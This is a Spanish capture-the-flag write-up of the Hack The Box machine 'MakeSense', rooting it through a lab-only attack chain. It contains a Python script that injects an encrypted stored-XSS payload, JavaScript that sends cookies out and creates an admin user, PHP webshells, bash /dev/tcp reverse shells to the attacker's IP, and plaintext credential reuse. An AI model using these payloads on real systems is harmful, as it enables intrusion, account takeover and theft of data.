MakeSense WriteUp

Tabla de contenido

MakeSense WriteUp

MakeSense es una máquina de dificultad 🟧 Medium de la plataforma Hack The Box, basada en Linux. Creada por SamLyhin y vldmrrz.

🗺️ Cadena de Ataque

Reconocimiento → 443/HTTPS: WordPress 7.0, tema personalizado "webagency"
      │
      ▼
Análisis del tema JS → clave AES hardcodeada + endpoint save_voice_results sin sanear
      │
      ▼
Stored XSS (transcripción cifrada) → se ejecuta en la sesión del admin (bot)
      │
      ▼
El XSS crea un usuario administrador de WordPress (pwned)
      │
      ▼
Plugin PHP malicioso → RCE como www-data
      │
      ▼
wp-config.php → contraseña de walter en claro → SSH (user.txt)
      │
      ▼
Servicio OCR interno (root) → guardamos un .php en saved/ → RCE como root 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

El certificado SSL del puerto 443 revela el dominio makesense.htb, que añadimos al /etc/hosts:

echo "10.129.35.143 makesense.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

Hacemos el reconocimiento en dos fases: primero descubrimos los puertos abiertos de forma rápida y luego lanzamos los scripts de detección sobre ellos.

Fase 1, Descubrimiento rápido de puertos TCP:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv makesense.htb

Fase 2, Detección de versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv makesense.htb

Los puertos abiertos:

PuertoServicioDetalle
22SSHOpenSSH 9.6p1 (Ubuntu)
443HTTPSApache 2.4.58, WordPress (sitio “Agency LLC”)

🎯 Solo hay SSH y un WordPress sobre HTTPS. El vector de entrada apunta al WordPress.

Enumeración Web

whatweb confirma un WordPress con un tema personalizado webagency, jQuery 3.7.1 y el correo info@webagency.com:

whatweb https://makesense.htb
https://makesense.htb [200 OK] Apache[2.4.58], WordPress[7.0], Title[Agency LLC], Email[info@webagency.com], JQuery[3.7.1], MetaGenerator[WordPress 7.0]

Navegando el sitio “Agency LLC” encontramos:

  • Una sección “Our Team” con nombres que pueden ser usuarios: John Smith, Sarah Johnson, Michael Chen, Emily Davis.
  • Un formulario de contacto “Get In Touch”.
  • Una funcionalidad llamativa: un botón “Call WebAgency” que abre un modal de grabación de voz (“Recording your message…”).

Sección Our Team y modal Call WebAgency de makesense.htb

El tema personalizado carga scripts propios, entre ellos uno de “whisper”:

/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js
/wp-content/themes/webagency/assets/js/main.js

🧠 Interceptando el tráfico con Burp vemos que la grabación de voz usa @huggingface/transformers@3.0.0 (transformers.js) y el modelo whisper-tiny.en en formato ONNX, cargados desde /wp-content/ai-models/. El sitio transcribe la voz a texto en el navegador (Whisper) y luego envía ese texto. Este es el corazón de la máquina: MakeSense convierte audio en texto.

💉 Acceso Inicial, Stored XSS vía transcripción cifrada

Análisis del flujo (main.js + whisper-wrapper.js)

Descargando y leyendo los dos scripts del tema entendemos toda la lógica. El tema define tres acciones AJAX sobre admin-ajax.php:

AcciónParámetrosQué hace
submit_contact_formname, email, phone, messageGuarda el mensaje y devuelve un post_id
save_voice_rawvoice_recording (WAV)Guarda el audio y devuelve un post_id
save_voice_resultspost_id, encrypted_payloadGuarda la transcripción y el resumen

El flujo de voz es: grabas, Whisper transcribe en el navegador, se resume, se cifra y se envía a save_voice_results. Dos detalles del código lo cambian todo.

1. La clave de cifrado está hardcodeada en el cliente:

// whisper-wrapper.js
const ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI';

El encrypted_payload no es más que AES-GCM(SHA256(ENCRYPTION_KEY), JSON.stringify({transcription, summary})) en base64 (IV de 12 bytes + ciphertext + tag). Como tenemos la clave, podemos cifrar nosotros mismos cualquier payload y saltarnos por completo la parte de audio y Whisper.

2. El código está diseñado para inyectar XSS:

// applySymbolMapping() en whisper-wrapper.js
const mappings = {
    'open bracket': '<', 'close bracket': '>', 'slash': '/',
    'quote': "'", 'double quote': '"', 'parenthesis': '(', ...
};
// además colapsa los espacios alrededor de los símbolos:
// "< script >"  ->  "<script>"

applySymbolMapping convierte palabras habladas en símbolos (“open bracket script” se vuelve <script>). O sea, la transcripción está pensada para poder contener HTML y JavaScript. Ese texto se almacena y lo revisa un administrador en el panel sin sanear.

🎯 No necesitamos grabar ni hablar. Ciframos directamente {"transcription": "<payload XSS>", "summary": "..."} con la clave conocida y lo enviamos a save_voice_results. Cuando el administrador revise el mensaje, nuestro JavaScript se ejecuta en su sesión: Stored XSS.

Explotación

wpscan nos da los usuarios reales del WordPress: walter, admin y jake.

Levantamos un listener con goshs y, con la clave conocida, ciframos una transcripción maliciosa y la enviamos a save_voice_results. El post_id lo obtenemos del formulario de contacto:

#!/usr/bin/env python3
# makesense_xss.py
import sys, os, json, base64, re, requests
from hashlib import sha256
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
requests.packages.urllib3.disable_warnings()

TARGET = "https://makesense.htb"
LHOST = sys.argv[1] if len(sys.argv) > 1 else "10.10.15.139"
KEY = sha256(b'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI').digest()

s = requests.Session(); s.verify = False
nonce = re.search(r'"nonce":"([a-f0-9]+)"', s.get(TARGET + "/").text).group(1)

# post_id vía el formulario de contacto
post_id = s.post(TARGET + "/wp-admin/admin-ajax.php", data={
    "action": "submit_contact_form", "nonce": nonce, "name": "hp",
    "email": "hp@hp.htb", "phone": "123",
    "message": "mensaje de prueba suficientemente largo"}).json()["data"]["post_id"]

# transcripción = Stored XSS, cifrada con la clave del cliente
xss = f'<script>fetch("http://{LHOST}/xss?c="+encodeURIComponent(document.cookie)+"&u="+encodeURIComponent(location.href))</script>'
data = json.dumps({"transcription": xss, "summary": "test"}).encode()
iv = os.urandom(12)
enc = base64.b64encode(iv + AESGCM(KEY).encrypt(iv, data, None)).decode()

s.post(TARGET + "/wp-admin/admin-ajax.php", data={
    "action": "save_voice_results", "nonce": nonce,
    "post_id": post_id, "encrypted_payload": enc})
print("[+] payload enviado, post_id:", post_id)

A los pocos segundos el listener recibe el callback: hay un administrador (bot) que revisa los mensajes y nuestro JavaScript se ejecuta en su sesión.

GET /xss?c=wp-settings-time-3=1783269811&u=https://makesense.htb/wp-admin/edit.php?post_type=contact_submission

🎯 El callback revela dos cosas: el admin es el usuario ID 3 (cookie wp-settings-time-3) y está revisando el tipo de contenido contact_submission en wp-admin. La cookie de sesión es httponly, así que en lugar de robarla haremos que el XSS actúe con la sesión del administrador.

De XSS a administrador

Cambiamos el payload para que, con la sesión del admin, cree un usuario administrador nuevo. Tomamos el nonce del propio user-new.php y enviamos el createuser:

<script>
fetch("/wp-admin/user-new.php",{credentials:"include"}).then(r=>r.text()).then(t=>{
  var n = t.match(/_wpnonce_create-user[^>]*value="([0-9a-f]+)"/)[1];
  var b = new URLSearchParams({action:"createuser","_wpnonce_create-user":n,
    "_wp_http_referer":"/wp-admin/user-new.php", user_login:"pwned", email:"pwned@hp.htb",
    pass1:"Pwned!12345", pass2:"Pwned!12345", pw_weak:"on", role:"administrator"});
  fetch("/wp-admin/user-new.php",{method:"POST",credentials:"include",body:b})
    .then(x => new Image().src = "http://10.10.15.139/done?s=" + x.status);
});
</script>

Reenviamos el payload cifrado (el mismo script, cambiando solo la variable xss). El listener confirma la creación del usuario:

GET /done?s=200

Ya podemos entrar en https://makesense.htb/wp-login.php como pwned:Pwned!12345. Dentro del panel vemos que es un WordPress 7.0 con la base de datos en SQLite y tipos de contenido propios (Cases, Team Members, Contact Submissions).

Panel de WordPress como el administrador pwned, base de datos SQLite

🐚 RCE, Reverse Shell vía plugin malicioso

Con acceso de administrador, la vía más directa a ejecución de código es subir un plugin con un webshell PHP.

Creamos el plugin en Kali:

mkdir shell && cat > shell/shell.php <<'EOF'
<?php
/* Plugin Name: shell */
if (isset($_GET['cmd'])) { system($_GET['cmd']); }
EOF
zip -r shell.zip shell

Lo subimos desde el panel en Plugins → Añadir nuevo → Subir plugin (shell.zip). El fichero queda accesible en /wp-content/plugins/shell/shell.php y confirmamos ejecución de comandos:

curl -sk 'https://makesense.htb/wp-content/plugins/shell/shell.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Confirmada la ejecución, lanzamos una reverse shell contra nuestro listener de penelope:

curl -sk -G 'https://makesense.htb/wp-content/plugins/shell/shell.php' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.15.139/8443 0>&1"'

Recibimos la shell como www-data (penelope la estabiliza a PTY automáticamente):

www-data@makesense:/var/www/html/wp-content/plugins/shell$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

🔀 Movimiento Lateral, Credenciales en la base de datos SQLite

En /home hay dos usuarios, admin y walter, pero www-data no puede leer sus directorios:

ls /home
admin  walter

Necesitamos credenciales para pivotar. Localizamos el fichero de la base de datos SQLite y, de paso, revisamos el wp-config.php:

find /var/www -iname '*.sqlite*' 2>/dev/null
grep -iE "DB_|table_prefix" /var/www/html/wp-config.php

El wp-config.php es una mina: el usuario de la base de datos es walter con la contraseña en texto claro:

define( 'DB_DIR', __DIR__ . '/wp-content/database/' );
define( 'DB_FILE', '.ht.sqlite' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );

Volcamos también los usuarios de WordPress desde la base SQLite:

sqlite3 /var/www/html/wp-content/database/.ht.sqlite "SELECT user_login,user_pass FROM wp_users;"
admin|$wp$2y$10$kAvjqotf...
walter|$wp$2y$10$RsVna8Ko...
jake|$wp$2y$10$SigULBQT...

💡 Los hashes tienen el prefijo $wp$2y$10$: es el nuevo esquema de contraseñas de WordPress 6.8+/7.0, que envuelve bcrypt. Son inviables de crackear por fuerza bruta, pero da igual: ya tenemos la contraseña de walter en claro en el wp-config.php.

🎯 walter es también un usuario del sistema (tiene /home/walter) y el SSH está abierto. Las contraseñas se reutilizan, así que probamos JbhHDAEgXvri3! por SSH.

SSH como walter

ssh walter@makesense.htb # JbhHDAEgXvri3!

🚩 User Flag

cat ~/user.txt

🧗‍♂️ Escalada de Privilegios, Servicio OCR interno como root

walter no tiene sudo ni pertenece a grupos interesantes (id solo muestra su propio grupo). Enumerando procesos con pspy descubrimos un servicio que corre como root y escucha únicamente en localhost:

root  /bin/sh -c /root/.scripts/start_ocr4.sh
root  /bin/bash /root/.scripts/start_ocr4.sh
root  php -S 127.0.0.1:8001 -t /root/ocr4/

Es un servidor PHP embebido, lanzado por un script de root (/root/.scripts/start_ocr4.sh), que sirve la aplicación /root/ocr4/ en 127.0.0.1:8001. El nombre “OCR” (Optical Character Recognition) encaja con la temática: otra pieza que “da sentido” a los datos, esta vez extrayendo texto de imágenes. Como corre como root, cualquier fallo de ejecución de comandos o lectura de ficheros nos da root.

Enumeración del servicio interno

Confirmamos el puerto y accedemos a la aplicación desde la propia máquina:

ss -tlnp | grep 8001
curl -si http://127.0.0.1:8001/

El servicio responde con HTTP Basic auth:

HTTP/1.0 401 Unauthorized
WWW-Authenticate: Basic realm="OCR Protected"

Probamos a reutilizar la contraseña de walter (la que sacamos del wp-config.php) y entra:

curl -si -u 'walter:JbhHDAEgXvri3!' http://127.0.0.1:8001/ | head
HTTP/1.1 200 OK
...
<title>MakeSense</title>

💡 Tercera reutilización de la misma contraseña (DB → SSH → OCR). Ya estamos dentro de la aplicación OCR, que se ejecuta como root.

La aplicación: OCR de escritura a mano

La app es un lienzo para escribir a mano: dibujas un texto, pulsas “Recognize”, el servidor lo pasa por tesseract y te devuelve el texto reconocido. Además, cada resultado se puede guardar en un fichero. Tras un OCR correcto aparece este formulario:

<input type="hidden" name="ocr_id" value="ocr_6a4a91ab...">
<input type="text" name="filename" placeholder="result.txt" required>
<button name="save_output">Save</button>

El OCR recibe la imagen como PNG en base64 (canvas_image=data:image/png;base64,...). Para probar sin navegador, generamos la imagen en Kali con convert y la enviamos por curl (usamos el mismo tamaño que el canvas, 500x200, o la app la rechaza).

El fallo: guardar un .php que se ejecuta como root

Intentamos abusar del filename con path traversal (../../../tmp/x), pero la app lo sanea con basename y siempre guarda dentro de saved/:

Saved as: saved/pwn.txt

Pero hay dos detalles decisivos:

  • El filename admite cualquier extensión, incluida .php.
  • El directorio saved/ lo sirve el servidor PHP que corre como root, que ejecuta los .php.

🎯 Conclusión: si el contenido guardado (que es el texto que reconoce el OCR) es un webshell PHP y lo guardamos como saved/x.php, al pedirlo por HTTP se ejecuta como root.

Un webshell “amigable para el OCR”

El único obstáculo es que tesseract no lee bien ciertos caracteres (dígitos, _, comillas…). En vez de pelearnos carácter a carácter, elegimos un payload robusto para OCR: sin dígitos y sin comillas. La función end($_GET) devuelve el valor del último parámetro GET, así que el webshell es:

<?php system(end($_GET));?>

Lo renderizamos como una imagen limpia en fuente monospace desde Kali:

convert -size 500x200 xc:white -font DejaVu-Sans-Mono-Bold -pointsize 28 -fill black -gravity West -annotate +10+0 '<?php system(end($_GET));?>' /tmp/p.png
base64 -w0 /tmp/p.png

Lo enviamos al OCR y verificamos que el texto reconocido es PHP válido antes de guardar (un espacio de más entre paréntesis da igual, PHP lo ignora):

C=/tmp/cj
PW='<base64 de la imagen>'
curl -s -c $C -b $C -u 'walter:JbhHDAEgXvri3!' --data-urlencode "canvas_image=data:image/png;base64,$PW" http://127.0.0.1:8001/index.php | grep -A1 output-text
<p class="output-text">&lt;?php system(end($_GET) );?&gt;

💡 Truco clave: la app nos muestra el texto reconocido antes de guardar, así que iteramos el render hasta que el OCR devuelva PHP válido. end($_GET) (letras y símbolos que tesseract lee bien) evita los dígitos y comillas que fallaban.

Guardamos ese resultado como r.php usando su ocr_id y confirmamos ejecución de comandos como root:

R=$(curl -s -c $C -b $C -u 'walter:JbhHDAEgXvri3!' --data-urlencode "canvas_image=data:image/png;base64,$PW" http://127.0.0.1:8001/index.php)
OID=$(echo "$R" | grep -oE 'ocr_[a-f0-9.]+' | head -1)
curl -s -c $C -b $C -u 'walter:JbhHDAEgXvri3!' -d "ocr_id=$OID" --data-urlencode 'filename=r.php' -d 'save_output=Save' http://127.0.0.1:8001/index.php | grep -i 'saved as'
curl -s -u 'walter:JbhHDAEgXvri3!' 'http://127.0.0.1:8001/saved/r.php?x=id'
uid=0(root) gid=0(root) groups=0(root)

Reverse shell como root

Con penelope -p 8443 a la escucha, disparamos la reverse shell. El comando viaja como último parámetro GET, que es justo lo que ejecuta end($_GET):

curl -s -u 'walter:JbhHDAEgXvri3!' -G 'http://127.0.0.1:8001/saved/r.php' --data-urlencode 'x=bash -c "bash -i >& /dev/tcp/10.10.15.139/8443 0>&1"'

🏴 Root Flag

cat /root/root.txt

📝 Resumen de la Cadena

#FaseTécnicaResultado
1Reconocimientonmap, whatweb22 (SSH) y 443 (WordPress 7.0, tema webagency)
2Análisis del temaLectura de main.js / whisper-wrapper.jsClave AES hardcodeada + save_voice_results sin sanear
3Acceso inicialStored XSS vía transcripción cifradaJavaScript ejecutado en la sesión del admin (bot)
4Escalada en WordPressXSS → createuserUsuario administrador pwned
5RCEPlugin PHP maliciosoShell como www-data
6Movimiento lateralwp-config.php (pass en claro) + SSHUsuario walter + User Flag 🚩
7Escalada a rootOCR interno (root) → .php en saved/RCE como root + Root Flag 🏴

Un saludo, nos vemos en el próximo challenge.